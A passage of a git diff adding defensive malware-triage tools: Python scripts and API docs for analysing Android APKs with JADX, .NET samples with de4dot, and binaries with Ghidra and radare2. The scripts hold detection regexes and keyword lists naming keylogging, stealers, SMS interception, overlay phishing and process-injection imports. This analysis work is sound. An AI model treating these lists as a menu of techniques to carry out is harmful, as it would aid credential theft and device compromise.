"__main__": + region = sys.argv[1] if len(sys.argv) > 1 else "us-east-1" + s3 = get_s3_client(region) + results = audit_all_buckets(s3) + print_audit_report(results) diff --git a/skills/reverse-engineering-android-malware-with-jadx/LICENSE b/skills/reverse-engineering-android-malware-with-jadx/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/reverse-engineering-android-malware-with-jadx/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/reverse-engineering-android-malware-with-jadx/references/api-reference.md b/skills/reverse-engineering-android-malware-with-jadx/references/api-reference.md new file mode 100644 index 00000000..5b46f8a0 --- /dev/null +++ b/skills/reverse-engineering-android-malware-with-jadx/references/api-reference.md @@ -0,0 +1,67 @@ +# API Reference: Android Malware Reverse Engineering with JADX Agent + +## Overview + +Reverse engineers Android APKs using apktool for manifest extraction, JADX for Java decompilation, and regex-based source code analysis for malicious patterns (C2 URLs, SMS interception, overlay attacks). + +## Dependencies + +| Package | Version | Purpose | +|---------|---------|---------| +| hashlib | stdlib | APK hash computation | +| xml.etree | stdlib | AndroidManifest.xml parsing | + +## External Tools Required + +| Tool | Purpose | +|------|---------| +| apktool | APK disassembly and manifest extraction | +| jadx | DEX to Java decompilation with deobfuscation | + +## Core Functions + +### `compute_apk_hashes(apk_path)` +Generates MD5 and SHA-256 hashes for APK identification. + +### `extract_manifest(apk_path, output_dir)` +Extracts AndroidManifest.xml and parses permissions, activities, services, receivers. +- **Returns**: `dict` with `package`, `permissions`, `activities`, `services`, `receivers` + +### `analyze_permissions(permissions)` +Classifies permissions against a list of 16 dangerous Android permissions. +- **Risk**: CRITICAL if SMS/accessibility/device-admin, HIGH if >5 dangerous +- **Returns**: `dict` with categorized permission lists and risk level + +### `decompile_with_jadx(apk_path, output_dir)` +Runs JADX with `--deobf` flag for deobfuscated Java source output. +- **Timeout**: 300 seconds + +### `search_source_code(source_dir, patterns)` +Searches decompiled Java source for 10 malicious pattern categories. +- **Returns**: `dict[str, list[dict]]` - pattern name to file/match pairs + +### `analyze_apk(apk_path, output_base)` +Full pipeline: hashes -> manifest -> permissions -> decompile -> code analysis. + +## Malicious Code Patterns + +| Pattern | Indicator | +|---------|-----------| +| urls | HTTP/HTTPS C2 server addresses | +| ips | Hardcoded IP addresses | +| exec_commands | Runtime.exec() shell command execution | +| reflection | Class.forName() dynamic class loading | +| dex_loading | DexClassLoader for loading additional code | +| overlay_attack | TYPE_APPLICATION_OVERLAY for phishing overlays | +| accessibility_abuse | AccessibilityService for keylogging/automation | +| sms_intercept | SMS_RECEIVED broadcast interception | + +## Dangerous Permissions Checked + +READ_SMS, SEND_SMS, RECEIVE_SMS, READ_CONTACTS, CAMERA, RECORD_AUDIO, ACCESS_FINE_LOCATION, READ_PHONE_STATE, BIND_ACCESSIBILITY_SERVICE, BIND_DEVICE_ADMIN, REQUEST_INSTALL_PACKAGES + +## Usage + +```bash +python agent.py malware.apk +``` diff --git a/skills/reverse-engineering-android-malware-with-jadx/scripts/agent.py b/skills/reverse-engineering-android-malware-with-jadx/scripts/agent.py new file mode 100644 index 00000000..3cf2f903 --- /dev/null +++ b/skills/reverse-engineering-android-malware-with-jadx/scripts/agent.py @@ -0,0 +1,198 @@ +#!/usr/bin/env python3 +"""Android malware reverse engineering agent using jadx and androguard subprocess wrappers.""" + +import subprocess +import os +import sys +import json +import re +import hashlib +import zipfile +from xml.etree import ElementTree + + +def compute_apk_hashes(apk_path): + """Compute hashes for APK identification.""" + with open(apk_path, "rb") as f: + data = f.read() + return { + "md5": hashlib.md5(data).hexdigest(), + "sha256": hashlib.sha256(data).hexdigest(), + "size": len(data), + } + + +def extract_manifest(apk_path, output_dir): + """Extract and parse AndroidManifest.xml using apktool.""" + subprocess.run( + ["apktool", "d", apk_path, "-o", output_dir, "-f"], + capture_output=True, text=True, timeout=120 + ) + manifest_path = os.path.join(output_dir, "AndroidManifest.xml") + if not os.path.exists(manifest_path): + return {"error": "Manifest extraction failed"} + tree = ElementTree.parse(manifest_path) + root = tree.getroot() + ns = {"android": "http://schemas.android.com/apk/res/android"} + permissions = [] + for perm in root.findall(".//uses-permission"): + name = perm.get(f"{{{ns['android']}}}name", "") + permissions.append(name) + activities = [] + for act in root.findall(".//activity"): + name = act.get(f"{{{ns['android']}}}name", "") + exported = act.get(f"{{{ns['android']}}}exported", "false") + activities.append({"name": name, "exported": exported}) + services = [] + for svc in root.findall(".//service"): + name = svc.get(f"{{{ns['android']}}}name", "") + services.append(name) + receivers = [] + for rcv in root.findall(".//receiver"): + name = rcv.get(f"{{{ns['android']}}}name", "") + intents = [] + for intent in rcv.findall(".//intent-filter/action"): + intents.append(intent.get(f"{{{ns['android']}}}name", "")) + receivers.append({"name": name, "intents": intents}) + package = root.get("package", "") + return { + "package": package, + "permissions": permissions, + "activities": activities, + "services": services, + "receivers": receivers, + } + + +DANGEROUS_PERMISSIONS = [ + "android.permission.READ_SMS", "android.permission.SEND_SMS", + "android.permission.RECEIVE_SMS", "android.permission.READ_CONTACTS", + "android.permission.CAMERA", "android.permission.RECORD_AUDIO", + "android.permission.ACCESS_FINE_LOCATION", "android.permission.READ_PHONE_STATE", + "android.permission.CALL_PHONE", "android.permission.READ_CALL_LOG", + "android.permission.WRITE_EXTERNAL_STORAGE", "android.permission.READ_EXTERNAL_STORAGE", + "android.permission.SYSTEM_ALERT_WINDOW", "android.permission.BIND_ACCESSIBILITY_SERVICE", + "android.permission.REQUEST_INSTALL_PACKAGES", "android.permission.BIND_DEVICE_ADMIN", +] + + +def analyze_permissions(permissions): + """Classify permissions by risk level.""" + dangerous = [p for p in permissions if p in DANGEROUS_PERMISSIONS] + sms_related = [p for p in permissions if "SMS" in p] + accessibility = [p for p in permissions if "ACCESSIBILITY" in p] + admin = [p for p in permissions if "DEVICE_ADMIN" in p or "BIND_ADMIN" in p] + risk = "LOW" + if len(dangerous) > 5: + risk = "HIGH" + if sms_related or accessibility or admin: + risk = "CRITICAL" + return { + "total": len(permissions), + "dangerous": dangerous, + "sms_related": sms_related, + "accessibility": accessibility, + "device_admin": admin, + "risk": risk, + } + + +def decompile_with_jadx(apk_path, output_dir): + """Decompile APK to Java source using JADX.""" + result = subprocess.run( + ["jadx", "-d", output_dir, "--deobf", apk_path], + capture_output=True, text=True, timeout=300 + ) + return { + "output_dir": output_dir, + "returncode": result.returncode, + "stdout": result.stdout[-500:] if result.stdout else "", + } + + +def search_source_code(source_dir, patterns=None): + """Search decompiled source for suspicious patterns.""" + if patterns is None: + patterns = { + "urls": r'https?://[^\s"\'<>]+', + "ips": r'\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b', + "crypto_keys": r'(?:AES|DES|RSA|key|secret|encrypt).*?["\']([^"\']{8,})["\']', + "base64_strings": r'[A-Za-z0-9+/]{40,}={0,2}', + "exec_commands": r'Runtime\.getRuntime\(\)\.exec|ProcessBuilder', + "reflection": r'Class\.forName|getMethod|getDeclaredMethod', + "dex_loading": r'DexClassLoader|PathClassLoader|InMemoryDexClassLoader', + "overlay_attack": r'TYPE_APPLICATION_OVERLAY|SYSTEM_ALERT_WINDOW', + "accessibility_abuse": r'AccessibilityService|onAccessibilityEvent', + "sms_intercept": r'SmsReceiver|SMS_RECEIVED|sendTextMessage', + } + findings = {p: [] for p in patterns} + for root, dirs, files in os.walk(source_dir): + for filename in files: + if not filename.endswith(".java"): + continue + filepath = os.path.join(root, filename) + try: + with open(filepath, "r", errors="ignore") as f: + content = f.read() + for pattern_name, regex in patterns.items(): + matches = re.findall(regex, content) + if matches: + findings[pattern_name].extend([ + {"file": filepath, "match": m[:100]} for m in matches[:5] + ]) + except (OSError, UnicodeDecodeError): + pass + for key in findings: + findings[key] = findings[key][:20] + return findings + + +def analyze_apk(apk_path, output_base="/tmp/apk_analysis"): + """Full APK analysis pipeline.""" + os.makedirs(output_base, exist_ok=True) + report = {"apk": apk_path} + report["hashes"] = compute_apk_hashes(apk_path) + apktool_dir = os.path.join(output_base, "apktool") + report["manifest"] = extract_manifest(apk_path, apktool_dir) + if "permissions" in report["manifest"]: + report["permission_analysis"] = analyze_permissions(report["manifest"]["permissions"]) + jadx_dir = os.path.join(output_base, "jadx_output") + report["decompilation"] = decompile_with_jadx(apk_path, jadx_dir) + if os.path.exists(jadx_dir): + source_dir = os.path.join(jadx_dir, "sources") + if os.path.exists(source_dir): + report["code_analysis"] = search_source_code(source_dir) + return report + + +def print_report(report): + print("Android Malware Analysis Report") + print("=" * 50) + print(f"APK: {report['apk']}") + print(f"SHA-256: {report['hashes']['sha256']}") + print(f"Size: {report['hashes']['size']} bytes") + manifest = report.get("manifest", {}) + print(f"\nPackage: {manifest.get('package', 'N/A')}") + perm = report.get("permission_analysis", {}) + print(f"Permissions: {perm.get('total', 0)} (Risk: {perm.get('risk', 'N/A')})") + if perm.get("dangerous"): + print(f" Dangerous: {', '.join(p.split('.')[-1] for p in perm['dangerous'][:8])}") + print(f"Activities: {len(manifest.get('activities', []))}") + print(f"Services: {len(manifest.get('services', []))}") + print(f"Receivers: {len(manifest.get('receivers', []))}") + code = report.get("code_analysis", {}) + if code: + print("\nCode Analysis Findings:") + for pattern, matches in code.items(): + if matches: + print(f" {pattern}: {len(matches)} match(es)") + for m in matches[:3]: + print(f" -> {m['match'][:80]}") + + +if __name__ == "__main__": + if len(sys.argv) < 2: + print("Usage: python agent.py ") + sys.exit(1) + result = analyze_apk(sys.argv[1]) + print_report(result) diff --git a/skills/reverse-engineering-dotnet-malware-with-dnspy/LICENSE b/skills/reverse-engineering-dotnet-malware-with-dnspy/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/reverse-engineering-dotnet-malware-with-dnspy/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/reverse-engineering-dotnet-malware-with-dnspy/references/api-reference.md b/skills/reverse-engineering-dotnet-malware-with-dnspy/references/api-reference.md new file mode 100644 index 00000000..952527d7 --- /dev/null +++ b/skills/reverse-engineering-dotnet-malware-with-dnspy/references/api-reference.md @@ -0,0 +1,68 @@ +# API Reference: .NET Malware Reverse Engineering with dnSpy Agent + +## Overview + +Analyzes .NET malware: validates CLR headers, detects obfuscators (ConfuserEx, SmartAssembly), deobfuscates with de4dot, extracts strings/IOCs, and parses .NET metadata via monodis. + +## Dependencies + +| Package | Version | Purpose | +|---------|---------|---------| +| hashlib | stdlib | Sample hash computation | +| struct | stdlib | PE/CLR header parsing | +| re | stdlib | String pattern extraction | + +## External Tools (Optional) + +| Tool | Purpose | +|------|---------| +| diec (Detect It Easy) | Obfuscator identification | +| de4dot | Automated .NET deobfuscation | +| monodis | .NET assembly metadata extraction | + +## Core Functions + +### `detect_dotnet_assembly(filepath)` +Validates PE file has CLR header (COM descriptor directory entry). +- **Checks**: MZ signature, PE signature, optional header magic, CLR RVA +- **Returns**: `dict` with `is_dotnet`, `clr_header_rva` + +### `detect_obfuscator(filepath)` +Runs Detect It Easy to identify ConfuserEx, SmartAssembly, .NET Reactor, Dotfuscator, Babel, Eazfuscator, Crypto Obfuscator. +- **Returns**: `dict` with `detected` list + +### `deobfuscate_with_de4dot(filepath, output_path)` +Runs de4dot to remove obfuscation, producing a cleaner assembly. +- **Timeout**: 120 seconds +- **Returns**: `dict` with `success`, `output_path` + +### `extract_strings(filepath, min_length)` +Extracts ASCII and Unicode strings, classifies into URLs, IPs, emails, registry keys, base64, and suspicious keywords (keylog, stealer, webhook, etc.). +- **Returns**: `dict[str, list[str]]` - categorized indicator lists + +### `analyze_dotnet_metadata(filepath)` +Uses monodis to extract assembly info, type definitions, and method counts. +- **Returns**: `dict` with `type_count`, `method_count`, `types` + +### `analyze_dotnet_malware(filepath, output_dir)` +Full pipeline: hashes -> .NET check -> obfuscator detection -> deobfuscation -> strings -> metadata. + +## Obfuscators Detected + +| Obfuscator | Indicator | +|------------|-----------| +| ConfuserEx | Most common open-source .NET obfuscator | +| SmartAssembly | Commercial obfuscator by Redgate | +| .NET Reactor | Code protection with native stub | +| Dotfuscator | Microsoft-provided obfuscator | +| Eazfuscator | Commercial string/flow obfuscation | + +## Suspicious String Keywords + +`keylog`, `screenshot`, `clipboard`, `password`, `credential`, `smtp`, `telegram`, `discord`, `webhook`, `stealer`, `inject`, `hook`, `persist`, `startup` + +## Usage + +```bash +python agent.py suspect.exe +``` diff --git a/skills/reverse-engineering-dotnet-malware-with-dnspy/scripts/agent.py b/skills/reverse-engineering-dotnet-malware-with-dnspy/scripts/agent.py new file mode 100644 index 00000000..70611335 --- /dev/null +++ b/skills/reverse-engineering-dotnet-malware-with-dnspy/scripts/agent.py @@ -0,0 +1,219 @@ +#!/usr/bin/env python3 +""".NET malware reverse engineering agent using subprocess wrappers for dnSpy/de4dot.""" + +import subprocess +import os +import sys +import re +import json +import hashlib +import struct + + +def compute_hashes(filepath): + """Compute hashes for sample identification.""" + with open(filepath, "rb") as f: + data = f.read() + return { + "md5": hashlib.md5(data).hexdigest(), + "sha256": hashlib.sha256(data).hexdigest(), + "size": len(data), + } + + +def detect_dotnet_assembly(filepath): + """Check if file is a .NET assembly by looking for CLI header.""" + with open(filepath, "rb") as f: + data = f.read(512) + if data[:2] != b"MZ": + return {"is_dotnet": False, "reason": "Not a PE file"} + try: + pe_offset = struct.unpack_from(" len(data): + return {"is_dotnet": False, "reason": "Invalid PE header"} + if data[pe_offset:pe_offset + 4] != b"PE\x00\x00": + return {"is_dotnet": False, "reason": "Invalid PE signature"} + opt_offset = pe_offset + 24 + magic = struct.unpack_from(" 0 and clr_size > 0: + return {"is_dotnet": True, "clr_header_rva": clr_rva, "clr_size": clr_size} + return {"is_dotnet": False, "reason": "No CLR header"} + except (struct.error, IndexError): + return {"is_dotnet": False, "reason": "Parse error"} + + +def detect_obfuscator(filepath): + """Detect .NET obfuscator using Detect It Easy.""" + try: + result = subprocess.run( + ["diec", filepath], capture_output=True, text=True, timeout=30 + ) + output = result.stdout + obfuscators = { + "ConfuserEx": "confuser" in output.lower(), + "SmartAssembly": "smartassembly" in output.lower(), + ".NET Reactor": "reactor" in output.lower(), + "Dotfuscator": "dotfuscator" in output.lower(), + "Babel": "babel" in output.lower(), + "Eazfuscator": "eazfuscator" in output.lower(), + "Crypto Obfuscator": "crypto" in output.lower() and "obfuscator" in output.lower(), + } + detected = [name for name, found in obfuscators.items() if found] + return {"detected": detected, "raw_output": output.strip()} + except FileNotFoundError: + return {"detected": [], "raw_output": "diec not installed"} + + +def deobfuscate_with_de4dot(filepath, output_path): + """Run de4dot to deobfuscate .NET assembly.""" + try: + result = subprocess.run( + ["de4dot", filepath, "-o", output_path], + capture_output=True, text=True, timeout=120 + ) + return { + "success": result.returncode == 0, + "output_path": output_path, + "stdout": result.stdout[-500:] if result.stdout else "", + } + except FileNotFoundError: + return {"success": False, "error": "de4dot not installed"} + + +def extract_strings(filepath, min_length=8): + """Extract strings and classify for IOCs.""" + with open(filepath, "rb") as f: + data = f.read() + unicode_strings = re.findall( + rb"(?:[\x20-\x7e]\x00){%d,}" % min_length, data + ) + ascii_strings = re.findall( + rb"[\x20-\x7e]{%d,}" % min_length, data + ) + all_strings = set() + for s in ascii_strings: + all_strings.add(s.decode("ascii", errors="ignore")) + for s in unicode_strings: + all_strings.add(s.decode("utf-16-le", errors="ignore")) + indicators = { + "urls": [], "ips": [], "emails": [], + "registry_keys": [], "file_paths": [], + "base64_strings": [], "suspicious_strings": [], + } + suspicious_keywords = [ + "keylog", "screenshot", "clipboard", "password", "credential", + "smtp", "telegram", "discord", "webhook", "stealer", + "inject", "hook", "persist", "startup", + ] + for s in all_strings: + if re.search(r"https?://", s): + indicators["urls"].append(s) + if re.search(r"\b(\d{1,3}\.){3}\d{1,3}\b", s): + indicators["ips"].append(s) + if re.search(r"[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}", s): + indicators["emails"].append(s) + if re.search(r"HKLM|HKCU|SOFTWARE\\", s, re.IGNORECASE): + indicators["registry_keys"].append(s) + if re.search(r"[A-Za-z0-9+/]{40,}={0,2}$", s): + indicators["base64_strings"].append(s[:100]) + for kw in suspicious_keywords: + if kw in s.lower(): + indicators["suspicious_strings"].append(s[:100]) + break + for key in indicators: + indicators[key] = list(set(indicators[key]))[:20] + return indicators + + +def analyze_dotnet_metadata(filepath): + """Extract .NET metadata using monodis or ilspy CLI if available.""" + metadata = {} + try: + result = subprocess.run( + ["monodis", "--assembly", filepath], + capture_output=True, text=True, timeout=15 + ) + if result.returncode == 0: + metadata["assembly_info"] = result.stdout.strip() + except FileNotFoundError: + pass + try: + result = subprocess.run( + ["monodis", "--typedef", filepath], + capture_output=True, text=True, timeout=15 + ) + if result.returncode == 0: + types = re.findall(r"(\S+)\s+flags", result.stdout) + metadata["type_count"] = len(types) + metadata["types"] = types[:30] + except FileNotFoundError: + pass + try: + result = subprocess.run( + ["monodis", "--method", filepath], + capture_output=True, text=True, timeout=15 + ) + if result.returncode == 0: + methods = re.findall(r"(\S+)\s+\(", result.stdout) + metadata["method_count"] = len(methods) + except FileNotFoundError: + pass + return metadata + + +def analyze_dotnet_malware(filepath, output_dir="/tmp/dotnet_analysis"): + """Full .NET malware analysis pipeline.""" + os.makedirs(output_dir, exist_ok=True) + report = {"file": filepath} + report["hashes"] = compute_hashes(filepath) + report["dotnet_check"] = detect_dotnet_assembly(filepath) + if not report["dotnet_check"].get("is_dotnet"): + report["error"] = "Not a .NET assembly" + return report + report["obfuscator"] = detect_obfuscator(filepath) + deobf_path = os.path.join(output_dir, "deobfuscated.exe") + report["deobfuscation"] = deobfuscate_with_de4dot(filepath, deobf_path) + analysis_target = deobf_path if report["deobfuscation"].get("success") else filepath + report["strings"] = extract_strings(analysis_target) + report["metadata"] = analyze_dotnet_metadata(analysis_target) + return report + + +def print_report(report): + print(".NET Malware Analysis Report") + print("=" * 50) + print(f"File: {report['file']}") + print(f"SHA-256: {report['hashes']['sha256']}") + print(f".NET Assembly: {report['dotnet_check'].get('is_dotnet', False)}") + obf = report.get("obfuscator", {}) + if obf.get("detected"): + print(f"Obfuscator: {', '.join(obf['detected'])}") + deobf = report.get("deobfuscation", {}) + print(f"Deobfuscation: {'Success' if deobf.get('success') else 'Failed/Skipped'}") + meta = report.get("metadata", {}) + if meta: + print(f"Types: {meta.get('type_count', 'N/A')}, Methods: {meta.get('method_count', 'N/A')}") + strings = report.get("strings", {}) + if strings: + print("\nExtracted Indicators:") + for cat, values in strings.items(): + if values: + print(f" {cat}: {len(values)}") + for v in values[:3]: + print(f" - {v[:80]}") + + +if __name__ == "__main__": + if len(sys.argv) < 2: + print("Usage: python agent.py ") + sys.exit(1) + result = analyze_dotnet_malware(sys.argv[1]) + print_report(result) diff --git a/skills/reverse-engineering-ios-app-with-frida/LICENSE b/skills/reverse-engineering-ios-app-with-frida/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/reverse-engineering-ios-app-with-frida/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/reverse-engineering-malware-with-ghidra/LICENSE b/skills/reverse-engineering-malware-with-ghidra/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/reverse-engineering-malware-with-ghidra/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/reverse-engineering-malware-with-ghidra/references/api-reference.md b/skills/reverse-engineering-malware-with-ghidra/references/api-reference.md new file mode 100644 index 00000000..82613591 --- /dev/null +++ b/skills/reverse-engineering-malware-with-ghidra/references/api-reference.md @@ -0,0 +1,75 @@ +# API Reference: Malware Reverse Engineering with Ghidra Agent + +## Overview + +Combines Ghidra headless analysis with r2pipe (radare2) for automated malware binary analysis: function enumeration, import classification, section entropy, cryptographic constant detection, and network indicator extraction. + +## Dependencies + +| Package | Version | Purpose | +|---------|---------|---------| +| r2pipe | >= 1.8 | Radare2 scripting interface for binary analysis | +| hashlib | stdlib | File hash computation | + +## External Tools + +| Tool | Purpose | +|------|---------| +| Ghidra (analyzeHeadless) | Automated disassembly and decompilation | +| radare2 | Binary analysis, function detection, string extraction | + +## Core Functions + +### `run_ghidra_headless(ghidra_path, project_dir, project_name, binary_path, script)` +Executes Ghidra in headless mode with optional post-analysis script. +- **Timeout**: 600 seconds +- **Returns**: `dict` with command, returncode, stdout/stderr + +### `export_functions_ghidra(...)` +Generates and runs a Ghidra script to export function list as JSON. +- **Exports**: name, address, size, calling convention, is_thunk + +### `analyze_with_radare2(filepath)` +Full r2pipe analysis: binary info, functions, imports, strings, sections, entry points. +- **Classifies imports**: injection, network, evasion, crypto, persistence +- **Extracts**: network indicators (URLs, IPs) from strings +- **Returns**: `dict` with info, function_count, suspicious_imports, sections, etc. + +### `extract_crypto_constants(filepath)` +Searches binary for known cryptographic constants: AES S-box, RC4 init table, SHA-256 init vector, RSA magic bytes. +- **Returns**: `list[dict]` with constant name and file offset + +### `analyze_malware(filepath, ghidra_path, output_dir)` +Full pipeline: hashes -> crypto constants -> radare2 analysis -> Ghidra headless. + +## Suspicious Import Categories + +| Category | Example Functions | +|----------|-------------------| +| injection | VirtualAllocEx, WriteProcessMemory, CreateRemoteThread | +| network | InternetOpenA, WSAStartup, URLDownloadToFileA | +| evasion | IsDebuggerPresent, NtQueryInformationProcess | +| crypto | CryptEncrypt, CryptDecrypt | +| persistence | RegSetValueExA, CreateServiceA | + +## Radare2 Commands Used + +| Command | Purpose | +|---------|---------| +| `aaa` | Full auto-analysis | +| `ij` | Binary info as JSON | +| `aflj` | Function list as JSON | +| `iij` | Import list as JSON | +| `izj` | String list as JSON | +| `iSj` | Section list as JSON | +| `iej` | Entry points as JSON | + +## Usage + +```bash +# With radare2 only +python agent.py malware.exe + +# With Ghidra headless analysis +python agent.py malware.exe /opt/ghidra +``` diff --git a/skills/reverse-engineering-malware-with-ghidra/scripts/agent.py b/skills/reverse-engineering-malware-with-ghidra/scripts/agent.py new file mode 100644 index 00000000..be33b8ed --- /dev/null +++ b/skills/reverse-engineering-malware-with-ghidra/scripts/agent.py @@ -0,0 +1,233 @@ +#!/usr/bin/env python3 +"""Malware reverse engineering agent using Ghidra headless analyzer and r2pipe.""" + +import subprocess +import os +import sys +import json +import re +import hashlib +from pathlib import Path + +try: + import r2pipe +except ImportError: + r2pipe = None + + +def compute_hashes(filepath): + """Compute file hashes for identification.""" + with open(filepath, "rb") as f: + data = f.read() + return { + "md5": hashlib.md5(data).hexdigest(), + "sha1": hashlib.sha1(data).hexdigest(), + "sha256": hashlib.sha256(data).hexdigest(), + "size": len(data), + } + + +def run_ghidra_headless(ghidra_path, project_dir, project_name, binary_path, + script=None, script_args=None): + """Run Ghidra in headless mode for automated analysis.""" + os.makedirs(project_dir, exist_ok=True) + cmd = [ + os.path.join(ghidra_path, "support", "analyzeHeadless"), + project_dir, project_name, + "-import", binary_path, + "-overwrite", + ] + if script: + cmd.extend(["-postScript", script]) + if script_args: + cmd.extend(script_args) + result = subprocess.run( + cmd, capture_output=True, text=True, timeout=600 + ) + return { + "command": " ".join(cmd), + "returncode": result.returncode, + "stdout": result.stdout[-2000:] if result.stdout else "", + "stderr": result.stderr[-1000:] if result.stderr else "", + } + + +def export_functions_ghidra(ghidra_path, project_dir, project_name, binary_path, + output_file): + """Export function list using Ghidra headless with a script.""" + script_content = """ +import ghidra.program.model.listing.FunctionIterator +import json + +output = [] +fm = currentProgram.getFunctionManager() +funcs = fm.getFunctions(True) +for func in funcs: + entry = { + "name": func.getName(), + "address": str(func.getEntryPoint()), + "size": func.getBody().getNumAddresses(), + "calling_convention": func.getCallingConventionName(), + "is_thunk": func.isThunk(), + } + output.append(entry) + +with open("{output}", "w") as f: + json.dump(output, f, indent=2) +""".replace("{output}", output_file.replace("\\", "\\\\")) + script_path = os.path.join(project_dir, "export_functions.py") + with open(script_path, "w") as f: + f.write(script_content) + return run_ghidra_headless( + ghidra_path, project_dir, project_name, binary_path, + script="export_functions.py" + ) + + +def analyze_with_radare2(filepath): + """Analyze binary with radare2 via r2pipe for quick triage.""" + if r2pipe is None: + return {"error": "r2pipe not installed (pip install r2pipe)"} + r2 = r2pipe.open(filepath, flags=["-2"]) + r2.cmd("aaa") + info = r2.cmdj("ij") + functions = r2.cmdj("aflj") or [] + imports = r2.cmdj("iij") or [] + strings = r2.cmdj("izj") or [] + sections = r2.cmdj("iSj") or [] + entry_points = r2.cmdj("iej") or [] + suspicious_imports = { + "injection": ["VirtualAllocEx", "WriteProcessMemory", "CreateRemoteThread", + "NtCreateThreadEx"], + "network": ["InternetOpenA", "HttpSendRequestA", "WSAStartup", + "URLDownloadToFileA"], + "evasion": ["IsDebuggerPresent", "CheckRemoteDebuggerPresent", + "NtQueryInformationProcess"], + "crypto": ["CryptEncrypt", "CryptDecrypt", "CryptAcquireContextA"], + "persistence": ["RegSetValueExA", "CreateServiceA"], + } + import_findings = [] + for imp in imports: + name = imp.get("name", "") + for category, funcs in suspicious_imports.items(): + if name in funcs: + import_findings.append({ + "category": category, + "function": name, + "library": imp.get("lib", ""), + }) + network_strings = [] + for s in strings: + val = s.get("string", "") + if re.search(r"https?://", val) or re.search(r"\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b", val): + network_strings.append(val[:200]) + section_analysis = [] + for sec in sections: + entropy = sec.get("entropy", 0) + flags = [] + if entropy and entropy > 7.0: + flags.append("HIGH_ENTROPY") + section_analysis.append({ + "name": sec.get("name", ""), + "size": sec.get("size", 0), + "vsize": sec.get("vsize", 0), + "entropy": entropy, + "flags": flags, + }) + r2.quit() + return { + "info": { + "arch": info.get("bin", {}).get("arch", ""), + "bits": info.get("bin", {}).get("bits", 0), + "os": info.get("bin", 